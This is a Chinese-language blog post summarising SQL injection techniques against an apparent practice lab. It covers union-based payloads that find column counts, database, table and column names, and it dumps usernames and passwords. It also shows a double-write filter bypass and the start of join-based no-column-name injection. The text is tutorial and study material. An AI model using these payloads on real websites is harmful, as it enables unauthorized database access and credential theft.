sql注入部分总结和复现

一个端口对应一个服务

联合查询注入

所有的程序中,单双引号必须成对出现

需要从这个引号里面逃出来 在后面查询内容

?id=1' 

要查库名,表名,列名。但是联合查询要知道有多少列,所以通过order by 去查询

order by  #  通过二分法去试有多少列

知道列之后就可以用 union select 去查

union select 1,2,3--+ 

因为联合查询是前面条件为假 后面的条件才能生效。所以前面传id=-1 后面才能生效

?id=-1 union select 1,2,3

把2,3 换成数据库名

?id=-1 union select 1,user(),3--+
?id=-1 union select 1,database(),3--+

现在要查表名,因为知道存在information_schema这个库中

union select 1,table_name,3 from information_schema.tables where table_schema='security' --+   #但是这样查的是一个表名。只能显示一行,我们需要用group_concat()参数把表名整合成一行
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

联合查询一定要保证列相同 ,知道表,但是不知道列 所以要查列名

union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

现在知道表,列了之后就可以查询了.就拿到管理员的密码了

union select 1,group_concat(username,0x3a,password),3 from users --+

写了正则过滤了information

这样写有漏洞可以双写information绕过

union select 1,table_name,3 from inforinformationmation schema.tables where table_schema='security'--+

但是用正则写则双写无法绕过

只有把information 替换了 sys库里面有x$schema_table_statistics 但是这里面也只有库名和表名,没有列名。所以只能进行无列名注入

利用join-using注入

通过系统关键字join可建立两表之间的内连接,通过对想要查询列名所在的表与其自身

select * from (select * from users as a join users b) as c --+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值